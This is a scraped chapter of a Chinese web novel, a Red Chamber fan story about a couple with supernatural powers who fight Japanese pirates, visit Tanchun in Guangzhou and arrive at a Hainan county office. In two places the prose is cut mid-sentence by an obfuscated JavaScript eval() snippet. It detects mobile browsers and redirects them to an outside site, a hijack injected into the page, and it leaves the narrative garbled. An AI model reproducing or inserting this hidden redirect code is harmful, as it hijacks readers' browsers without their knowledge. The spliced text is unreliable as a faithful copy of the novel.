突然,斜刺里一个小小的身影朝黛玉跑来,邬桐忙将黛玉护在身后,只见一个衣衫褴褛,头发枯黄的小姑娘,五六岁年纪,被身后的大汉追打,尖叫着乱跑乱撞,竟是直直朝两人撞来。邬桐忙带着黛玉躲过去,小姑娘身子不稳,重重跌倒在地。那大汉上来就拳打脚踢,惹得一群人又是骂又是指指点点,却无一人敢上前阻止。 那大汉一身腱子肉,即使被人围观,踢打的动作半点没有放缓:“狗娘养的,让你逃,打不死你。” 那小女孩抱着头,蜷缩成一团,衣服被踢的卷起,可以看见后背一条条青紫的痕迹。 黛玉一把抓住邬桐的手,眼泪汪汪:“姐,救救她吧。” 还没等邬桐说话,人群中一个身穿绫罗的公子哥儿率先开口了:“你这大汉好生可恶。这小姑娘就算犯了死罪,也不是你能杀的。官府可不是摆设,今日要是闹出人命,我们可都是人证,定能让你坐大牢!” 人群中响起嗡嗡声,那大汉切一声,又狠狠踢了女孩儿一眼,呸一口浓痰,恶狠狠开口道:“她被卖到楼子里,生死都由楼子做主,要你管闲事!” 25.青楼与倭寇 人群静了一瞬,能称为楼子的,必不是什么好地方,且做这种生意的,背后都不简单,不是小民小户敢招惹的。有人悄悄退出去,有人闭嘴不再多言,那公子哥儿也像是想到了什么,声音不再如先前那般疾言厉色:“就算是楼子,也不能随意杀人。你可不要混淆视听。” “我不是被卖的,是被他们抢来的。”那小女孩儿抬起头,在人群中扫视一眼,最终盯着公子哥儿的眼睛,倔强地开口。 公子哥儿骑虎难下,能强抢民女,必是依仗更大啊。邬桐心里却咯噔一下,这小女孩,不,这不是五六岁的女孩儿该有的眼睛。那眼神虽稚嫩,却更像是成年人强装出来的稚嫩。孩童虽小,但遭遇如此大难,怎还会有如此稚嫩的眼神!这眼神太假,太像是成人想象中五六岁孩童该有的样子了。 那公子哥儿肯定身份不一般,今日这一场戏,就是让女孩儿跟着公子哥儿入府吧。邬桐冷哼一声,低头仔细打量女孩儿,见她大脚趾微微外翻,这是长期穿木屐的后遗症吧?如果她没记错,只有倭寇喜欢穿木屐。 不论是不是真的,这两人不能留。就让这两人病了吧,目不能视,口不能言,手不能握笔,耳不能听,五感封闭,成个彻彻底底的废人。 发动好异能,邬桐拉着林黛玉离开人群,等到了客栈,才小心将发现告知:“这里离倭寇近,咱们万事都要小心,万不可轻易买人,救人也要当心。” 林黛玉愣愣点头,半晌才道:“姐姐,有没有可能是冲着我们来的?姐夫去琼州任职的消息,是写在邸报上的。倭寇会不会派奸细混在其中?” “这个你不用担心,我和你姐夫心里有数。”邬桐见林黛玉脸色发白,安慰道,“你也不要想太多,事情再棘手,都是有解决办法的,不可太杞人忧天。好了,你先休息吧,我就不打扰你了。” 晚上,等客栈静悄悄没了动静,柳琼才带着扮做男装的邬桐出门。 “你想干什么?”邬桐小声问道,“都说婊子无情,戏子无义,话糙理不糙。青楼的女人,见多了虚情假意,咱们就三个晚上的时间,再掏心掏肺,也打动不了。” “你想哪儿去了。”柳琼左右看看,黑暗里人影并不多,只花街一带灯火通明,“本来没想这么快去的,但倭寇有了动作,我们不得不还一份大礼。那地方只怕和倭寇有联系,跟瀛洲岛说不得也有关系,我们去探探,以后说不定用得着。” “瀛洲?是不是类似古华夏的湾岛?那里现在不归朝廷管?”邬桐眨巴着眼睛有些不解。 “归是归,可是大部分是匪寇,朝廷也不指望从那里收税,只要不造反,也不怎么管。那些匪寇也乖觉,遇见官船都是绕道走,平时只打劫小海商的船只。”柳琼小声道,“忠顺王知道我们要去琼州,送了很多近几年的案宗过来。琼州岛平稳后,十有八九是要打退那些匪寇的,咱们这几日就是去摸底的。” 逛个青楼就能摸底了?邬桐撇撇嘴,她也就是看在柳琼老实的份上,不然早一巴掌呼过去了。带着老婆逛青楼,只怕当朝绝无仅有了。 第一夜,两人也不要包间,只在下面要了两个陪酒的姑娘,边吃边观察。夜色越来越黑,等两人起身离开时,邬桐注意到一个龟公摸了三次腰间,可他腰间除了绑着的黑色汗巾,空空如也。记清了这人的长相,回到客栈时邬桐才说:“那个龟公应该是东瀛人。现在应该是什么武士时代吧,他总是下意识摸腰间的佩刀,应该是个逃过来的武士。” 柳琼也注意到了,他打个呵欠道:“好了,明日咱们再去一趟,这个花楼,说不得就是倭寇用来打探消息的。咱们得把它掀了。” 忙活了一晚上,第二日果然没精神。邬桐无法,只得利用异能让身体恢复体力。虽然她如今的异能很强大,但她和柳琼不是病了,只是累了,强行刺激身体激发体力,就像是透支生命一般,对以后的保养并没有好处。好在只有三夜,两人白日里去城里逛,晚上去青楼蹲点,总算是解决了这个麻烦。 原来那龟公才是青楼的老板,在东瀛活不下去,集结了不到十个匪寇上岸抢掠。见青楼生意好,趁着夜色劫持了老鸨子,扮做龟公和打手,做起了甩手掌柜,不服的都被几人砍了。吸着青楼女子的血,过得很是滋润。 摸清了来龙去脉,邬桐和柳琼第三晚召集在外的退役兵丁,集体去青楼埋伏。趁寅时人困马乏之时,邬桐和众人一起动手,在跟倭寇打斗的时候,利用异能将近身的几个倭寇击毙,只留了两个活口审问。 青楼小小地界,这番打斗自然瞒不过众人,有两个跟倭寇勾结的女子,被其他群情激动的女人打伤。两女子自知理亏,蜷缩着不敢还手。 “她们可是倭人?”邬桐结束战斗,气还有些喘,指着被打的两人道。 “不是。”老鸨子冲着两人呸一口,尖着嗓子道,“这两人最是可恶,仗着有两分姿色,勾引得那群龟孙子为她俩出头,在楼里吃香喝辣的,时不时还让姐妹们给她们倒夜香。呸,也不想想,当初就是被人贩子卖过来的货,长得那样,要不是给我磕头求我收留,我都不稀得要,什么玩意儿!还想欺负老娘,老娘是那么没卵蛋的?恩公,这两人不能留,说不得以后还会勾结倭寇,抢劫乡民呢。” “哦?”邬桐大马金刀地坐在竹凳上,挑眉问道,“这么说两人以前给倭寇送过消息?” “那可不。”老鸨子胸脯子一挺一挺的,气得了不得的样儿,“半个月前那次倭寇抢掠,就是这两个传的消息,要不然倭寇怎么知道那马财主、刘富户家还有别院呢,径直抢掠过去,把那些富户都抢了。就是她们告的密,恩公您去她们屋里搜搜,指不定还能找到脏银呢。就她们俩这姿色,怎么也不会赚那么多银钱的。” 柳琼闻言朝两个房间走去,不一时就拿着两个匣子递过来,邬桐打开一数,竟然有一万两之多,这老鸨子就算没全说实话,七八成也是有的,邬桐点点头,开口道:“你没全说实话,但这两个人不能留,杀了。” 柳琼带过来的护卫都是战场上下来的老兵,自是见过血的,一声令下,两个血淋淋的人头咕噜噜落到地上,在众人的脚边滚了一圈儿,女人的眼睛还圆瞪着,似是不敢相信就这么死了。 其余的女人们惊声尖叫,老鸨子不自觉打个寒噤,噗通一声跪在地上:“恩公饶命,我说实话。这起子倭寇住在这里,不是我想瞒着,是他们抓了我的家人,我不得不瞒着。我虽也是青楼女子出身,吃过药,可那药也不是绝对的,我有幸怀孕生了个儿子。那小子没什么出息,在外面打渔为生。可那一日,就这个矮矬子。” 老鸨子指着其中一个倒立着的人头,恶狠狠地道:“就是他,拿着我儿子的手指头,说要是我敢声张,就要了我儿子的命啊。我儿子才十八岁,还没娶妻呢。后来......后来他们占了这个地儿,让我说城里的富户消息,我......我只说了个为富不仁的孙财主家,其他的都没说。真的,那孙财主不是个东西,他儿子强抢农户人家的闺女,活活将七八岁的小姑娘折磨死。孙财主为了买地,逼得很多农户家破人亡,真的,这一家都不是好人,楼里的姑娘们都知道。我就点了孙财主一个,我......我屋里还有五千两,恩公您都拿去,我绝无二话。” 邬桐见老鸨子跪在地上直打战,且撂得干脆,知道她绝不敢再隐瞒。毕竟见了人头还敢硬顶着的人,也不会还在青楼里打转了。邬桐点点头,示意柳琼带着人再去各屋里搜一遍。今日一番血战,这些护卫怎么都得给些好处。 七八个青楼女子抱作一团,见大家忙着搜刮财宝,一个穿着绿纱裙头戴金凤钗的女子,忍着害怕开口道:“你们......你们怎么连我们自己赚来的银子都抢?跟这些倭寇有什么分别?” 邬桐斜眼看过去,挑起嘴角笑道:“终于肯开口了?我们怎么知道哪些是你们正当赚的,哪些是和倭寇合作掳掠百姓得来的?不如全部拿走,我看这码头的铺子,没一家不是遭过劫掠的,干脆一家给上五两银子,不算过分吧?” 那女子一噎,还想说什么,被身后的同伴一拉,只得闭嘴。 邬桐扫了眼众人,冷声道:“你们瞒而不报,本身就错了。不管有没有跟这些歹人同流合污,都得破些财了。我也不多要你们的,每人给你们留二十两,够活一两年的了。念在初犯,这次只拿了你们的银子,要是以后有倭寇来还敢瞒而不报,就不是今日这般了。”说着冷哼一声。 那绿衣女人嘟囔道:“我们都是手无缚鸡之力的小女子,如何敢在倭寇眼皮子底下捣鬼?” “你敢在此时说话,怎么不敢跟倭寇虚与委蛇?”邬桐冷声道,“可见是个欺软怕硬的,觉得我们是好人,不会随意杀人,就敢放肆。觉得倭寇敢随意杀人,就什么都不敢做了,是也不是?你这样的人我见多了,早些把心眼用在正地方,你也不是今日的你了。” 说完,邬桐不再理会这些人,刷地起身,摆手让众人跟上。刚到门口,一个身着酱紫色粗布衣服的女人越众而出,噗通跪在地上:“恩公,奴听到......听到艳红和那起贼人说,说五日后还要上岸劫掠。您......您救救这一城的百姓吧。” 邬桐猛地转身,沉声道:“此话当真?” “当真。”那女人点头如捣蒜,着急忙慌地道,“艳红就是那个被杀的红衣服的女人,我是她的侍女,有一次送茶的时候听到的,千真万确。” 邬桐和柳琼对视一眼,知道计划得变。柳琼眨眨眼,假装在广袖里翻找,实际是从空间里取出一本书道,“这里有几个避孕和打胎的方子,还有几个蒙汗药的方子,都是验证过的成方,你们只管用。都是苦命人,我只能帮到这儿了。” 刚才是威慑,现在就是施恩了,这个窝点跟外界有联系,在倭寇来之前,这里还得一切照旧才行。 果然,老鸨子当场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林如海也不是迂腐之人,一晚上不见两人,是有些生气的。但听到柳琼的话,心里也是震动的。他做了多年的巡盐御史,自是知道江浙一带这几年饱受倭寇滋扰,海边的村庄十不存一。倭寇贪婪,近几年竟然敢杀入内城,抢掠大户,如果朝廷不给些教训,倭寇只怕会越发猖狂。 他沉声问了几句柳琼的打算,缓缓点点头,想了想,道:“如此也好,给倭寇一些教训,也让他们知道,我们大周不是那么好欺负的。黛玉那边你们别管了,我带她去城里的好友家住几日,不耽误你们行事即可。” 见两人望着他犹有不信,林如海摸摸胡须笑道:“宁波知府大人与我是多年好友,来了此地怎么能不去拜访?那倭寇就是再嚣张,也不敢去知府大人府上的。”知府大人府,光府兵就有五百人,倭寇怎敢放肆? 邬桐柳琼两人这才点头应允。 没了后顾之忧,二人总算放开了手脚。邬桐因为前一晚异能使用过度,须得休息两日。又因不知那日倭寇要来多少人,为保万全,柳琼让邬桐近几日在家锻炼异能,外面打探消息的事只管交给他。 战斗说起来还没当日在青楼的那场刺激,倭寇来了两条船近百人,为了震慑倭寇,邬桐来了发大的,在倭寇上岸的那一刻,利用异能,让近一半的人倒地不起,其余人也身体僵硬,动作缓慢。哀嚎声惊醒了沉睡的众人,很多百姓披衣而起,只见夜色中,众家丁砍杀倭寇如砍瓜切菜一般,直看得人一愣一愣地。 等将人杀光,上船搜刮现场时,也只搜出了不到二百两银子。柳琼扶着脸色苍白的邬桐,扬声道:“倭刀和武器都收起来,其余东西,谁找到就是谁的。” 见人都撒出去了,柳琼这才低声问:“怎么样?还难受吗?” “没事。”邬桐眨眨眼,笑道,“异能使用过度而已,休息几日就成。你打算什么时候启程去琼州?” 柳琼见邬桐确实不像有事的样子,放下心来,“等你休息好了我们就出发。反正有半年的时限,就是休息一个月都成。” “哪用那么久。”邬桐挣扎着起身,“好了,我先回去了,你在这里看着。别让大家哄抢,倭寇经穷成那样,能有什么好东西。” “那可不一定。”柳琼摸摸下巴,“那里可是有银矿的,不过得等船造好再说,现在说什么都还早。” 邬桐摆摆手,转身大步离开,一点儿也看不出刚才脸色苍白,需要柳琼扶着才能站稳。 结束战斗,休息了半月,众人才又出发。等要上船离开时,却见到了意想不到的人。 原来甄士隐一家不知从哪里得到的消息,知道恩人要去琼州岛上任,竟抛家舍业地投奔而来。 甄士隐妻子封氏紧紧拉着香菱的手,红着眼眶跟邬桐讲述缘由:“先是回了娘家,可香菱丢了那么些年,娘家人指指点点的,两个嫂子整日指桑骂槐,怕香菱连累了侄女们的婚嫁。我们就卖了地,一路跟着镖局去北边,边走边贩卖些货物,倒是不缺钱。在通州附近,听到恩人要去琼州,我们一家商议过了,与其孤身去北边草原,不如跟着恩人去最南边。老爷怎么说也是举人,帮着恩公读读写写,也算报恩了,这才上船一路追来,没想到在这里就遇到了恩人一家。” 香菱如今也有十岁大了,肌肤细腻,唇不点而红,眉不扫却神采飞杨,这样的长相没有权势护着,迟早还是要出事的。 干脆好人做到底,林如海不知花了多少银子,又在官船上开了两个船舱,一群人浩浩汤汤地向广州湾而去。 26.姚家 之后的行程快了许多,宝船仅在泉州港靠岸了两日,补给后又航行数日,终于耗时一个半月,在濠镜靠岸。甄士隐一家留守码头看家,四人坐着马车向广州府而去。 “三妹妹也不知道过得怎么样?”林黛玉眼睛亮晶晶的,为即将见到探春而兴奋。探春嫁的商家,正是在粤海这边做海盐生意的姚家,据称是广州城最大的盐商。当初迎娶探春,正是看中了贾家和薛家的权势,以探春的手段,想来应该过得不差。 出来时是三月,现在已经快五月了。广州的街头,凤凰花开得正艳,整棵树像一颗巨大的火球,耀眼夺目。 与京城不同,广州的宅子屋脊多是圆润的凸字形,不仅屋脊上有神兽,就是中间的横梁,也都雕满了奇形怪状的兽首。房子多是两层,身着常服的男女,在茶楼悠闲地品着茶点。 马车在一处灰砖宅院前停下,宅院正门不大,仅能供马车通过。不像国公府,还分正门和角门,商人门户低,大门仅有国公府的角门一般大。 早有姚家的内外管家迎出来,林如海和柳琼被带去迎客厅,邬桐和林黛玉随着内管家进入深宅。不同于京城宽敞的四合院,广州府的宅院更狭长,也多是二层的建筑,面积虽不大,房间却是足够的。 早在朝廷任命出来后,邸报就刊登了柳琼将赴琼州任县令的消息。探春嫁过来快半年了,听到消息后第一次流了泪。她在姚家的日子并不难过,公婆不敢太苛责她,毕竟要靠她维系跟国公府和薛家的关系。丈夫也小意殷勤,虽有侍妾闹心,但她就是庶出,自然也不奢望男人会只有她一个。可妯娌就有些不省心了。 探春嫁的是嫡次子。长嫂是婆母的娘家侄女,婆媳关系更亲厚,且长嫂虽出身商户,但自小也是锦衣玉食的长大,对出身比她好的亲妯娌很有几分不喜,处处想压探春一头。又害怕探春跟她抢管家权,时刻提防,探春去给婆母请安时,每次都是探春前脚到,她后脚就跟来了。 女人给女人添堵的方式,无非就是那些,什么让婆婆赐几个得脸的大丫头给二弟啦,什么二弟妹嫁过来半年还没身孕,为二弟着想,探春想也知道亲大嫂会怎么跟婆婆说。 探春在国公府都没吃过亏,会怕一个没脑子的妯娌?没几次,只要婆婆给次子房里塞人,过不了两日就会有另两个大丫头不知怎么爬上了大爷的床。吃过两次亏后,眼高手低的大嫂才不敢太过分。 但明显是个记吃不记打的,这不,邬桐和林黛玉刚坐下,这大嫂就阴阳上了:“哎呦,不愧是前一品大员家的千金,这气韵我们就是拍马也不及的。只是不知怎么会去琼州岛那鸟不拉屎的地方?你们不知,那岛上除了流放的囚犯,就剩当地的黎人了,汉人都不去的。毒蛇毒虫的,可是会要人命的。尤其是这天越来越热了,那毒物就更猖狂了,你们可得当心。” 邬桐扫了一眼探春,见她一身正红石榴裙,此时粉面含煞,并没有忍耐的神色,就知道在家里并没有一味的受气,这才几不可见地摇摇头,笑眯眯地回怼:“这位大婶是?我和妹妹初来乍到的,刚坐下,探春妹妹还没介绍呢,您就开口了,实在不知您是哪位长辈?” 话音还没落,那妯娌就气红了脸,指着邬桐说不出话。为了今日能落弟妹的脸,她可是特意打扮过的,鲜绿的长裙上绣着一圈儿凤凰花,头上更是插满了珠翠,远看就跟那卖糖葫芦的麦垛似的,林黛玉一见就低头忍笑,此时肩膀还一颤一颤地。 邬桐满脸的不可思议:“这不知者不罪的道理姚家都不知道?我好心好意问你是谁,你就是这般教养,指着人的鼻子说话?家父虽已致仕,承蒙太上皇厚爱,恩赐了直笔上书的特权,身边还有太上皇派来的护卫,特意让家父把在琼州看到的听到的如实告知。多谢这位大婶的提醒,回家就告诉家父,看看这毒虫毒蛇的如何应对。” “阿沅,不得无理。”正中四十多岁的妇人急忙开口,肤色偏暗沉,狭长的眼睛眯着,脸上并没有多少笑容。虽然开口训斥了长媳,但对邬桐的不给面子也十分生气,又忌惮邬桐口中的特权,嗔怪道,“贾夫人见笑了,这是我家那不长进的嫡长媳,你该叫一声嫂嫂才是。枫哥儿媳妇,快让人上茶果点心,不可慢待了客人。” 一个媳妇称呼阿沅,另一个就是枫哥儿媳妇,邬桐轻笑一声,虽不知道阿沅和这妇人的关系,但肯定是娘家那边嫁过来的无疑了,否则这个年代,很少有婆婆这么善待儿媳的:“探春妹妹别忙了,凭它什么好东西,我们没吃过没见过。我和妹妹好不容易来看你,正该坐着说话才是。” 探春抿嘴儿笑笑:“桐姐姐还是这般直爽。”说着起身开始介绍几个妯娌,姚家娶妻的儿子只有三个,探春排行第二,下面有一个庶弟媳,人员并不复杂。 那庶弟媳缩着肩膀,一副乖巧小媳妇儿的样。邬桐眼神眯了眯,这个婆婆不是个善茬啊。 探春笑笑,也不解释,邬桐就明白了,婆婆再厉害,探春有手段制服就行。 日后在琼州的经营少不得商家的支持,邬桐想了想,干脆直接帮探春一把,悄悄发动异能,让出言嘲讽的嫡长媳和维护阿沅的婆婆病几日,也不多,半年足矣。四肢瘫软,浑身无力,偏大夫查不出来的那种。相信半年足够让探春掌家了。到时有探春协助,琼州的事物肯定会顺利许多。 果不其然,不等晚食,那婆媳二人就已有些症候,派下人来告饶,只说身子不舒坦,晚餐就不作陪了。 探春挥退下人,黛玉才急忙开口:“三妹妹,你到底如何?可不能瞒我,你那婆婆是不是欺负你了?” 探春不在意地笑笑:“傻话,婆婆又不是亲娘,欺负欺负也是正常的。放心,我不是那好性儿的,她还奈何不得我。” 邬桐见探春脸上还带着婴儿肥,却已比黛玉沉稳许多。初见时神采飞扬,见之忘俗,如今眉梢却已染上了愁绪。探春此时也才十二三岁吧,亏得小小年纪就这么稳得住。 邬桐也不多说什么,只拿出从京城带来的几罐子酱菜,笑着介绍:“知道你肯定想家里的味道了。这是来的时候,琏二嫂子让捎着的,说是你在家极爱这个味儿的。” “亏她想着我。”探春红了眼眶,用手帕擦擦眼角道,“难为你们这么千里迢迢地带了来。多住几日吧,广州这里有几道餐食,虽没京里精致,却也鲜美异常。这几日我带你们尝尝,也尽一尽地主之谊。” 邬桐抚掌笑道:“那感情好。探春妹妹谦虚了,路上我们可听人说了,什么吃在广府,笨想着也不会只有几道餐食吧?探春妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243723|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹可不能小气,不吃上十道八道的,我可不依。” “三妹妹别理姐姐,自打成了亲,和凤姐姐走得愈发近了,这性子也像了个十成十。凤姐姐是凤辣子,桐姐姐就是桐辣子了。”林黛玉说完抿着嘴儿笑个不住。 几人说说笑笑,不觉就到了晚间。因探春年纪小,还未和丈夫圆房,晚间三人倒是和衣而眠,直聊了一夜。第二日一早,邬桐陪着去了知府衙门,黛玉在家陪探春。 姚家是当地大族,昨夜来了客人的消息知府第二日就知道了,兼有林如海陪同,广州知府虽是四品官,也不敢放肆。且琼州那种地方,能有人去他就烧高香了,又怎么会为难,很顺利地就办好了手续。 后宅更是没什么风波,知府太太全程像个菩萨一样,疏离地笑着,话都没说几句。如果说柳琼作为官员,还可能会到广州知府衙门汇报工作。那邬桐这个县令太太,很有可能任期内都不会再来广州,何必费心思去结交呢。 马车回到姚家时,刚好碰上内管家送两位大夫出门,隔着车帘,只听到什么“怕不是装病”的嘀咕声,邬桐低头轻笑。 内管家见到几人的马车,忙迎进内院,众人在姚家住了三日,尝过了曾经名噪京师的邬家蛇羹、广府茶点、荔枝等鲜果后才离开。 来时仅两辆马车,走时却多了一辆,姚家大郎知道媳妇不积口德,得罪了林家大小姐,特意多送了些礼物以表歉意。 探春泪眼濛濛,拉着黛玉的手直嘱咐:“有空了就来看我,琼州离这里又不远,我有空了也去看你们,别忘了。” 依依惜别了半个时辰,才再次登船,三天后的凌晨,终于到达了琼州岛。 白沙津港口,又称神应港,是琼州最大的港口之一。宝船停靠后,柳琼看到宝船旁边停靠的其余船只,一个个比官造的宝船还大,挑挑眉:“看来之前广州知府上折子说禁海,只怕是被人蒙蔽了吧,这哪里像禁海的样子。” 邬桐不理他的牢骚,和林黛玉一左一右扶着林如海下船。刚上岸,就有脚夫上前兜揽生意,一个个浑身黑黝黝的,统一的装扮,白色麻布短衫,下身是黑色粗布裤子,脖子上再搭一个粗布汗巾子,料想是码头漕帮的制式。 柳琼随手指了一个长得老实的,问道:“可有租借马车的地方?” “有,有。”那脚夫忙不迭地点头,手在身后摆摆,呼啦啦上来十几个粗壮的汉子,随着前头的脚夫点头哈腰,脚夫赔笑道,“贵人放心,我们帮着您把行李都搬到车马店里,正好您租车,我们再顺手给您装车,岂不便宜?” 柳琼看这些人虽都不高,眼神却灵活,生得也壮实,不是那木呆呆的老实人,遂摆摆手让家丁领着人去搬行李了。 车马店离码头不远,因是独家生意,店里人着实不少。柳琼租了三十辆马车,光装车就花了半个时辰。 琼州岛本来是没有马的,还是流放过来的官员带来的马,才让岛上第一次出现了马这种生物。但岛上气候炎热,并不适合马的生长繁殖,岛上的马儿都是外来的。这个店家能在码头开车马店,背后之人在岛上不说是数一数二的豪富之家吧,也必是有些权势的。 等终于出发到达县城时,日头已经升到正中了,而府衙前却空无一人。 27.琼州府衙 租借马车时,柳琼就派了林家的家丁去县城,此时府衙前却无一人出来迎接上官,如此明目张胆的下马威,县丞、主簿和典史几人也太不把他放在眼里了吧。 柳琼冷笑,林如海一副果然如此的神情:“历来新官上任,哪有太太平平的?你掂量他们,他们也得掂量掂量你。看看是你的三把火厉害,还是他们不动如山稳得住。你啊,还需要历练。” 柳琼立马收敛起脸上的神情,低头受教:“徒儿一时失宜,师父教训的是。” 众人不再多言,从后门进入县衙后院。后院有三进,因岛上面积大,三进的宅子有京城四进那么大,黑漆木门,可并行两辆马车。房屋有些破旧,游廊的木头栏杆有几处发霉,裸露在外的白色墙皮,也被咸腥的海风吹成了褐色。 县衙里雇了两个打扫房屋的婆子,四十左右年纪,皮肤黝黑,手掌满是老茧,一看就是常年干活的。邬桐没有立刻辞去,而是让两人继续干着,只是不能随便进第一进的书房。 因带的行李多,收拾屋子就花了两日,当然这是后话。 作为新任县令,山不就我,我自去就山,想开后,柳琼溜溜达达地去了前院的办公衙门,见到了县衙的几名官吏。 琼州作为大县,除了县令外,设有县丞和主簿两个官职。县丞是八品,二把手,之前县令空缺,一直是县丞代行县令职责。主簿是九品,三把手,职责和县丞有些像,很多小县没有县丞,只设有主簿一职。 除县令、县丞和主簿是官外,其余都是吏。群吏之长称为典史,相当于现代的公安局长和看守所所长,虽是不入流的小吏,但在百姓心中也是威风赫赫。 县丞、主簿和典史都有单独的办公场所,柳琼一一拜访,将人请到县衙正堂。 琼州县丞姓马,约摸三十五六的年纪,剑南道人士,举人出身,脸狭长,跟姓氏倒是颇匹配。马县丞没想到新任县尊小小年纪,能屈能伸,忍了下马威不说,还乐呵呵地上门拜访,不得不收起之前的轻视之心,愈发小心应对。 “相信大家都看到朝廷的邸报了。在下贾琼,今科二榜进士,特请到琼州任县令。”柳琼见众人都落座了,徐徐开口道,“初来乍到,第一次见大家,不防先认识认识,如何?” 马县丞拱拱手,率先发言:“马有才,举人。剑南道人士,在琼州二十余载,公务上有一二心得,县尊大人有任何不解只管问在下,在下必知无不言言无不尽。” 王典史是马县丞嫡妻的娘家族人,一副惟马县丞马首是瞻的样儿,立马奉承道:“马县丞在琼州兢兢业业二十载,没有他摆不平的事儿。县令大人您有事只管差遣,保管办得漂漂亮亮。” “不得无理,县尊让大家互相认识认识,你说的都是什么?”马县丞当众训斥道。 柳琼挑挑眉,当众训斥典史,这是在宣告他的权威?柳琼笑笑,开口道:“无妨,可见马县丞为官之能。大家继续。” 不等其他人开口,马县丞矜持一笑,开口道:“为恭迎县尊大人,卑职在望海楼设了宴席,不知大人可否赏光?” 柳琼嘴角隐晦地抽动两下,天高皇帝远的地方,拍马屁和官场争斗都这么直喇喇的吗? 偷眼看下首的冼主簿,丝毫没有被截断话头的愠怒,一副事不关己的样儿。柳琼眼神闪了闪,轻咳一声,笑道:“贾某初来乍到,后宅还得收拾一二,今日就算了。这样,后日申时末,大家带上各吏房的兄弟们过来,咱们不醉不归。” “这怎么好意思,原该我们下属请您的。”马县丞见柳琼面无异色,开口道。 “无妨。”柳琼不在意地摆摆手,“既然县里有马县丞操持,以后就还劳烦马兄了。贾某先回去收拾后宅,诸位忙吧。”说着起身拱拱手,举步离开。 马县丞见人走了,率先起身掸掸袍角,施施然离去。王典史嘿嘿笑两声,追着马县丞走了。 冼主簿起身,看着正堂“正大光明”的牌匾,只希望琼州岛的天早些光明起来。 不到一个时辰,后宅已经焕然一新,泛黄的墙皮重新刷了大白,发霉的木质游廊也新上了漆,进得正堂,红木桌椅被擦洗干净,茶水还冒着热气。 柳琼瘫坐在太师椅上,冲在一旁八宝阁上摆玩器的邬桐道:“县令不好当啊,刚来就被架空了。” 邬桐身子都没转过来,笑着说:“少装了,心里不知道正打什么鬼主意,等着收拾他们呢吧。我还不知道你,说,想让我怎么配合?” “嘿嘿。”柳琼蹭地坐起来,拿起茶杯咂了一口,笑嘻嘻开口,“后日宴客,你试探试探冼主簿太太。这主簿既然姓冼,在琼州就算不是望族,跟黎人多少有些瓜葛。琼州黎人大大小小两千峒,人口有二十万之多,内部又分生黎熟黎,不可小觑。冼主簿现在是站干岸,这样也好,只要别倒向马县丞和王典史,收拾这两个人还是不在话下的。” 虽冼主簿没说话,但在广州知府衙门时,他就看过了琼州衙门的人事名录,自然知道衙门里都有谁。 邬桐了然地点点头,问起了别的话:“这生黎熟黎是怎么分的?” 柳琼便科普起生黎熟黎的划分:“其实也没有那么严格,生黎生活在山野,主要是琼州南部的原始森林里,不缴纳税赋,不服徭役,主要以买卖沉香和黄花梨为生。因生黎跟汉人不直接接触,彼此语言不通,熟黎就起到了沟通彼此的作用。熟黎是从生黎中分化出来的,还夹杂一些黎化的汉人,主要生活在琼州中部,大多以牙人为业。黎人最有名的就是冼氏一族,当年冼夫人历经三朝,被三朝皇帝加封,显赫非常。冼主簿这个姓氏,就很值得玩味啊。” “难不成是冼夫人的后人?” “不好说。”说完正事,柳琼开始打量县衙后宅的正堂,见一水儿的红木家具,拍拍座椅的扶手道,“不愧是琼州,县衙的家具都是紫檀木的。” “刚黛玉和父亲还在到处看家具呢,都说木头不比京城的差。”邬桐摆好玩器,转身小声道,“在末世都灭绝了的东西,没想到这个时代倒是不缺。” “那是,这还不是最名贵的,最贵的金丝楠木,只皇族能用。”柳琼咂咂嘴,“琼州这边出产的黄花梨,也是难得的好木头。千年才能长成,做的家具万年不腐。只是长在深山老林里,蛇虫鼠蚁密布,一般人都不敢进,只生黎能采。” 忙碌完两日,自家吃了一顿暖房饭,邬桐、黛玉和香菱就忙活起了宴席的事。有京中各种赏花宴珠玉在前,又恰逢琼州的大花紫薇盛开,黛玉便着人买了数十盆大的花木,摆在后花园的池塘边,与粉的白的荷花交相辉映,端是那句姹紫嫣红。 来赴宴的诸位官太太隐晦地对视一眼,知道新任县尊家不是那等没见识的,不约而同地偷偷打量为首的马县丞太太,看热闹不嫌事儿大似的。 这位马太太每每以大家族出身为傲,也不知以后可还傲的起来不? 王典史太太本就不服马太太,要不是相公巴结马县丞,她早就不搭理这位了,此时笑嘻嘻的,一开口就是挑拨:“哎呦,只怕咱们这位县尊太太可是了不得的人物呢。我可听说,当初从码头下来,租车就租了三十辆,这手笔,可不是一般人能有的。” 马太太二十五六年纪,闻言淡淡地瞥了一眼王夫人,掸掸淡紫色的烟纱裙:“三十辆车就能装完的家底儿,亏你看得上。小门小户的,也就开个车马店罢了。我们王家可是唐代名臣王义方的后人,族兄娶了你真是受委屈了。” 原来马太太姓王,和王典史是同族兄妹,亦是马县丞原配嫡妻的族人。当年马县丞小小年纪,逃兵祸至琼州,被王家收留。王家一支族人看他是可造之才,特意招赘为女婿。马县丞自嫡妻死后,三年不肯续弦,还是岳父岳母出面,说合了另一王家族人之女,这才有了如今的马太太。 王太太闻言气得胸口起伏,又不好撕破脸,只得扭头装作赏花。 马太太冷哼一声,小商户出身的都想在她面前蹦跶,真是自不量力。 他们王家可是唐代名臣王义方的后代! 王义方有一则“二度让马”的故事,在仕林间广为流传。据说王义方当年被贬崖州即今日的琼州岛时,有一故人的侄子也一同流放至此。只是此人命薄,死在了崖州。死前拜托王义方照顾妻女,并有一日能将他的尸骨葬回千里之遥的故乡。 王义方应诺,尽管路途遥远,也义无反顾地踏上归途。马让给故人的妻女,自己步行扶柩归乡。经过两个多月的跋涉,不仅安葬了故人,还将故人的妻女送回了故乡,可见其人品。王义方最有名的,还是当年被流放崖 